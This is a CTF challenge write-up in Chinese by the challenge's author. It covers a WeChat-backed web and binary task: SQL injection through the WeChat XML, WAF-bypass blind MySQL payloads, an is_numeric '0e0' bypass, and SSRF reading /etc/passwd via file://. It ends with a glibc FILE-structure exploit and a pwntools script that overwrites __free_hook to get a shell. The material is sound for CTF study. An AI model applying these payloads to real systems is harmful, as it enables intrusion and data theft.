强网杯WeChat题目设计思路 – 作者:mutepig

“强网杯”比赛刚刚结束,本文对其中的部分题目进行解析,欢迎拍砖。

0x01 微信部分

首先给了个公众号,有这么几个操作

1. hello 没啥用
2. note [id] 查看对应id的笔记
3. test [url] 可以帮忙测试url是否可用

1. 获取服务器ip

通过上面第三个操作,那么测试一个自己的服务器,然后监听一下就能获得服务器的ip了

2. 微信注入

通过查看微信公众号文档,可以直接通过post来模拟与公众号交互的过程:

<xml>
<ToUserName><![CDATA[toUser]]></ToUserName>
<FromUserName><![CDATA[fromUser]]></FromUserName>
<CreateTime>1348831860</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[this is a test]]></Content>
<MsgId>1234567890123456</MsgId>
</xml>

那么将这几个值都测试一下注入,发现在fromUser这里存在注入,并且数据库是sqlite。那么后面就很简单了,直接注入就行

<xml>
<ToUserName><![CDATA[test]]></ToUserName>
<FromUserName><![CDATA[xxx',(select group_concat(sql) from sqlite_master))-- ]]></FromUserName>
<CreateTime>1348831860</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[Note 1 TEAMKEY 054a404ff4cfd978e92f840f3b99a68d]]></Content>
<MsgId>1234567890123456</MsgId>
</xml>

获取了数据库为lognote之后,可以读到id=999的一个笔记为:

You can leave me message here: http://wc.qwb.com:8088/leave_message.php

这里的插入语句是这样写的:

sql = "INSERT INTO %s (`team`,`user`,`time`) VALUES ('%s','%s','%s')"%(self.tb,team,u,t)

因为对team的校验只是判断是否长度为32,所以其实team在这里也是可以注入的,好像也有同学没有看到开发手册直接在公众号上就成功注入了

0x02 网站部分

通过上面已经获取了网站的ip,同时也获取了其虚拟域名从而设置hosts进行访问。

1. sqli

上来是登陆但是没有账号密码,然后根据提示进入了留言界面,尝试xss发现没有,于是尝试注入发现好像可以,被过滤了会返回hacker,成功插入会延时。于是可以根据过滤的字符串绕过:

re = select[(+-]
mysql> select@a:='mutepig';
+---------------+
| @a:='mutepig' |
+---------------+
| mutepig       |
+---------------+
re = sleep\(.*?[@\d].*?\)
mysql> select sleep(ascii(true));
+--------------------+
| sleep(ascii(true)) |
+--------------------+
re = from\(.*?\)
mysql> select 1 from {x(mysql.user)} limit 1,1;
+---+
| 1 |
+---+
| 1 |
+---+
无逗号
mysql> select substr("1234"from{x(2)}for(1));
+--------------------------------+
| substr("1234"from{x(2)}for(1)) |
+--------------------------------+
| 2                              |
+--------------------------------+
mysql> select case((select 2))when'1'then(select(sleep(5)))end'x'from users limit 1,1;
+--------------------------------------------------+
| case((select 2))when'1'then(select(sleep(5)))end |
+--------------------------------------------------+
|                                             NULL |
+--------------------------------------------------+
未知列名:(猜出表名)
(select@x:=substr(group_concat(c)from{x(1)}for(1))from{x((select@a:=4,5,6,1,2,(3)c)union(select*from(users)))b})

本来这里是不让猜出列名的,但是测试时候设置列名比较简,上场后想起来又懒得改了,于是又比预期简单一丢丢这里给上预期的最终payload:

'-(select@a:=case(((select@x:=ascii(substr(group_concat(c)from{x(1)}))from{x((select@a:=1,2,(3)c,4,5,6)union(select*from{x(adminuser)}))b}))=51)when'1'then(select@c:=(sleep(ascii(true))))end'x'from{x(adminuser)})-'

这里出题的时候其实很随便,就是搜索了一些绕过WAF的技巧,然后一个一个加进来的,结果没想到好像在这里卡主了很多人。。同时由于最终的规则如下:允许的字符:

0123456789abcdefghijklmnokpqrstuvwxyz{}()_.+-*@:=',

被过滤的正则:

select[{('+-]|benchmark\(|file|from[('+-]|insert|update|delete|or|and|script|sleep\([^)]*?[\d'@]|(substr|substring|pad)\([^)]*?,

2. forgot password

通过注入可以发现管理员的验证码始终为0,而这里我采用的是必须是数字,用is_numeric判断,这里可以用0e0绕过

vcode=0e000000
username=stupidking&[email protected]&vcode=0e000000&npass=aklsdjfklasjdfk&vcode2=ysuA8WJh&submit=submit

3. SSRF

进入管理员页面,有一个profile页面可以上传头像,但仔细看了下发现图像并没有上传上去,而是以dataurl形式打印了出来,但是查看源码存在一个能输入imageurltext,猜测前端代码被注释掉了但是后台代码并没有删掉于是进行测试,然后就是加上域名端口就能绕过了(主要防止被扫描器直接扫出来):

urlink=file://wc.qwb.com:8088/etc/passwd

这里最后也坑了大家一把。。由于比赛前临时将域名从qwb.wechat.com修改成wc.qwb.com而代码中的判断没有修改,到最后一个多小时才想起来,实在是抱歉。。

0x03 bin部分

这里设计了一个后门,原本是用密码来敲开后门的,但是一年时间过去采用的密码现在看来也很简单了T_T,所以就改为出了个pwn来打发了XD这里逻辑并不复杂,就是输入密码和正确的密码来匹配,错了就会写入日志文件,对了其实也就打印一个假的flagXD不知道多少人达到了这里呢?

1. leak heap

由于我们输入的长度有限制,所以只能先泄露堆,这里比较简单,由于可以溢出到文件指针fp,所以可以直接覆盖到_IO_read_ptr或者别的什么,就这样泄露堆地址了。

2. leak libc

其实我们的目标一致都是泄露libc,这个可以通过泄露fp->_chain来实现,因为当前fp->_chain应当指向stderr。那么利用方法就是通过play with file struct中说的方法,利用fwrite泄露任意地址的值,关键代码如下:

        fp->_flags &= ~8;
        fp->_flags |= 0x800;
        fp->_IO_write_base = msg;
        fp->_IO_write_ptr = msg+6;
        fp->_IO_read_end = fp->_IO_write_base;
        fp->_fileno = 1;
        fwrite(buf, 1, 0x100, fp);

3. free

这个程序看起来没有free,完整走一遍也好像没有调用free,但篡改了fp->_flag后就可能会在fwrite中调用free,那么是哪里呢?答案就是在overflow这,当然更多的分析可以参考 Play with FILE Structure [1] 当需求没有被满足,也就是f->_IO_write_end - f->_IO_write_ptr < todo时,那么会调用_IO_OVERFLOW,而在这里会判断是否在备份状态,而这正是由fp->_flag决定的

769       if (__glibc_unlikely (_IO_in_backup (f)))
770         {
771           size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
772           _IO_free_backup_area (f);
773           f->_IO_read_base -= MIN (nbackup,
774                                    f->_IO_read_base - f->_IO_buf_base);
775           f->_IO_read_ptr = f->_IO_read_base;
776         }

那么在备份状态的话,则会调用_IO_free_backup_area,而这里就调用了free (fp->_IO_save_base),同时我们可以看到在_IO_switch_to_main_get_areafp->_IO_save_base=fp->_IO_read_base

186    _IO_free_backup_area (_IO_FILE *fp)
187    {
188      if (_IO_in_backup (fp))
189        _IO_switch_to_main_get_area (fp);  /* Just in case. */
190      free (fp->_IO_save_base);
191      fp->_IO_save_base = NULL;
192      fp->_IO_save_end = NULL;
193      fp->_IO_backup_base = NULL;
194    }
127    _IO_switch_to_main_get_area (_IO_FILE *fp)
128    {
129      char *tmp;
130      fp->_flags &= ~_IO_IN_BACKUP;
131      /* Swap _IO_read_end and _IO_save_end. */
132      tmp = fp->_IO_read_end;
133      fp->_IO_read_end = fp->_IO_save_end;
134      fp->_IO_save_end= tmp;
135      /* Swap _IO_read_base and _IO_save_base. */
136      tmp = fp->_IO_read_base;
137      fp->_IO_read_base = fp->_IO_save_base;
138      fp->_IO_save_base = tmp;
139      /* Set _IO_read_ptr. */
140      fp->_IO_read_ptr = fp->_IO_read_base;
141    }

也就是说,最终会调用free(fp->_IO_read_base),那么如果我们能篡改__free_hook,同时将fp->_IO_read_base指向/bin/sh,那么就能getshell了。

4. write

#include <stdio.h>
FILE *fp ;
char buf[0x100]="fakesecret";
char msg[0x100] = "";
int main(){
    fp = fopen("test.txt","w");
    fp->_IO_write_ptr = msg;
    fp->_IO_write_end = fp->_IO_write_ptr+10;
    fwrite(buf, 1, 0x100, fp);
    puts(msg);
    fclose(fp);
}

5. EXP

#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
bin_file = "./backdoor"
remote_detail = ("127.0.0.1",8888)
libc_file = "./libc.so.6"
bp = []
pie = False
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def pwd(pwd):
    p.recvuntil("password > ")
    p.send(pwd)
if __name__ == "__main__":
    payload = '1'*0x30 + p64(0x11111111fbad3c80) + '1'*(0x98-0x38)
    pwd(payload)
    # leak libc
    libc_addr = p.recvuntil("\n").strip()
    libc_addr = libc_addr.split('11')[-1]
    libc_addr = libc_addr.ljust(8,'\x00')
    print libc_addr
    libc_addr = u64(libc_addr)-0x3c5540
    log.success("libc_addr: %s",hex(libc_addr))
    system_addr = libc_addr + libc.symbols['system']
    free_hook = libc_addr + libc.symbols['__free_hook']
    binsh_addr = libc_addr + libc.search("/bin/sh").next()
    # write free_hook
    payload = p64(system_addr) + '1'*0x20 + p64(0xfbad3c80) + '1'*0x28+ p64(free_hook) + p64(free_hook + 8)
    pwd(payload)
    payload = '1'*0x48 + p64(binsh_addr) + '1'*0x30
    pwd(payload)
    p.interactive()

*本文作者:mutepig,转载请注明来自FreeBuf.COM

来源:freebuf.com 2018-03-30 09:00:27 by: mutepig

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论